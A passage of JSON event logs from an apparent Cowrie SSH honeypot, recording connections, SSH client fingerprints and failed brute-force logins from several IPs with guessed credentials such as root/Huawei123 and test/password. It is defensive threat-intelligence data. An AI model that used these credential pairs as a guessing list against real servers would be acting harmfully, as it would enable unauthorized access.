openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:18.558312Z","src_ip":"165.154.137.186","session":"e0e6ffd3be82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"skr","password":"123456","message":"login attempt [skr/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:18.699885Z","src_ip":"159.65.58.200","session":"f651ae3957ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:19.667902Z","src_ip":"165.154.137.186","session":"e0e6ffd3be82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:19.930322Z","src_ip":"159.65.58.200","session":"f651ae3957ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:20.936258Z","src_ip":"165.154.137.186","session":"e0e6ffd3be82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":42104,"dst_ip":"10.17.0.5","dst_port":22,"session":"076747daf65d","protocol":"ssh","message":"New connection: 165.154.137.186:42104 (10.17.0.5:22) [session: 076747daf65d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:21.820849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:21.824406Z","src_ip":"165.154.137.186","session":"076747daf65d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:22.096225Z","src_ip":"165.154.137.186","session":"076747daf65d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":41640,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d3a1cfe801d","protocol":"ssh","message":"New connection: 165.154.137.186:41640 (10.17.0.5:22) [session: 7d3a1cfe801d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:22.278314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:22.282220Z","src_ip":"165.154.137.186","session":"7d3a1cfe801d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:22.559285Z","src_ip":"165.154.137.186","session":"7d3a1cfe801d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123","message":"login attempt [root/Huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:22.912575Z","src_ip":"165.154.137.186","session":"076747daf65d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:23.394647Z","src_ip":"165.154.137.186","session":"7d3a1cfe801d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:24.237806Z","src_ip":"165.154.137.186","session":"076747daf65d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:24.673000Z","src_ip":"165.154.137.186","session":"7d3a1cfe801d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":42118,"dst_ip":"10.17.0.5","dst_port":22,"session":"928070809f8f","protocol":"ssh","message":"New connection: 165.154.137.186:42118 (10.17.0.5:22) [session: 928070809f8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:25.626545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:25.630257Z","src_ip":"165.154.137.186","session":"928070809f8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:25.879100Z","src_ip":"165.154.137.186","session":"928070809f8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:26.627674Z","src_ip":"165.154.137.186","session":"928070809f8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":37310,"dst_ip":"10.17.0.5","dst_port":22,"session":"da1d535e9d98","protocol":"ssh","message":"New connection: 8.210.75.243:37310 (10.17.0.5:22) [session: da1d535e9d98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:26.856812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:26.862878Z","src_ip":"8.210.75.243","session":"da1d535e9d98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:27.879529Z","src_ip":"165.154.137.186","session":"928070809f8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":59558,"dst_ip":"10.17.0.5","dst_port":22,"session":"f144231a4d62","protocol":"ssh","message":"New connection: 91.92.40.4:59558 (10.17.0.5:22) [session: f144231a4d62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:30.570587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:30.574236Z","src_ip":"91.92.40.4","session":"f144231a4d62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:30.659290Z","src_ip":"91.92.40.4","session":"f144231a4d62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"password","message":"login attempt [test/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:30.909773Z","src_ip":"91.92.40.4","session":"f144231a4d62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:31.992579Z","src_ip":"91.92.40.4","session":"f144231a4d62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":41658,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bb24a91aea4","protocol":"ssh","message":"New connection: 165.154.137.186:41658 (10.17.0.5:22) [session: 2bb24a91aea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:33.313766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:33.317743Z","src_ip":"165.154.137.186","session":"2bb24a91aea4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":40798,"dst_ip":"10.17.0.5","dst_port":22,"session":"31a7023984bc","protocol":"ssh","message":"New connection: 165.154.137.186:40798 (10.17.0.5:22) [session: 31a7023984bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:33.440474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:33.446457Z","src_ip":"165.154.137.186","session":"31a7023984bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:33.574440Z","src_ip":"165.154.137.186","session":"2bb24a91aea4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:33.715281Z","src_ip":"165.154.137.186","session":"31a7023984bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser","message":"login attempt [sftpuser/sftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:34.346328Z","src_ip":"165.154.137.186","session":"2bb24a91aea4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:34.417105Z","src_ip":"8.210.75.243","session":"56e76df84de9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:34.527091Z","src_ip":"165.154.137.186","session":"31a7023984bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:35.608055Z","src_ip":"165.154.137.186","session":"2bb24a91aea4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:35.798588Z","src_ip":"165.154.137.186","session":"31a7023984bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":40812,"dst_ip":"10.17.0.5","dst_port":22,"session":"adc163767e76","protocol":"ssh","message":"New connection: 165.154.137.186:40812 (10.17.0.5:22) [session: adc163767e76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:37.183186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:37.186791Z","src_ip":"165.154.137.186","session":"adc163767e76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:37.465057Z","src_ip":"165.154.137.186","session":"adc163767e76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester","message":"login attempt [tester/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:38.304819Z","src_ip":"165.154.137.186","session":"adc163767e76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:39.585532Z","src_ip":"165.154.137.186","session":"adc163767e76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":36802,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e5536b70db1","protocol":"ssh","message":"New connection: 165.154.137.186:36802 (10.17.0.5:22) [session: 9e5536b70db1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:40.825389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:42:40.829157Z","src_ip":"165.154.137.186","session":"9e5536b70db1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp